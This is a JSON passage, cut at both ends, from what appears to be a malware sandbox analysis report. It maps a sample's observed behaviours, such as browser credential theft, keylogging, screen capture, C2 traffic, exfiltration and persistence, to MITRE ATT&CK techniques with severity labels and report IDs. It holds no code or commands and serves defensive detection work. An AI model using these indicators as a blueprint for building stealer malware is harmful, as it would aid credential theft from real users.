specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an APIs used to retrieve process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Able to enumerate system processes using native API"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to query the machine timezone"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Able to retrieve NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"malicious","value":"Reference to an external IP address lookup service identified"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"Local Groups","attack_id":"T1069.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/001","identifiers":[{"type":"informative","value":"Able to retrieve local groups information"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to get active windows title"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Imports network management related APIs"},{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Able to enumerate service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Contains ability to retrieve system language"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen information (Dotnet)"},{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Creates directory on disk"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"suspicious","value":"Accesses potentially sensitive information from local browsers"},{"type":"informative","value":"May execute SQL queries"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"informative","value":"Contains ability to upload data with network (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Contains ability to communicate with network (Dotnet)"},{"type":"malicious","value":"Found more than one unique user-agent"},{"type":"informative","value":"Contains ability to provide interface for network protocols (Dotnet)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Contains ability to download files with network (Dotnet)"},{"type":"malicious","value":"GETs executable from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain custom Base62 strings"},{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"malicious","value":"Makes HTTPS connections using an insecure TLS/SSL version"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"suspicious","value":"YARA signature match – Public-private key pair"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Contains ability to perform symmetric crypto operations"},{"type":"informative","value":"Shows ability to use encryption for command and control traffic"},{"type":"malicious","value":"Able to use RSA keys for encryption and decryption"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"informative","value":"Contains ability to upload file/data"},{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to change the configuration parameters of a service"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Resource Development","technique":"Digital Certificates","attack_id":"T1588.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1588/004","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute WMI queries (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"},{"type":"suspicious","value":"Contains ability to update the user profile"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"informative","value":"Contains reference to messaging system library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"},{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Clear Persistence","attack_id":"T1070.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/009","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Credential Access","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"},{"type":"malicious","value":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Remote Access Tools","attack_id":"T1219","attack_id_wiki":"https://attack.mitre.org/techniques/T1219","identifiers":[{"type":"suspicious","value":"YARA signature match - RMM tools"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Shows ability to use asymmetric encryption algorithm"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"},{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network 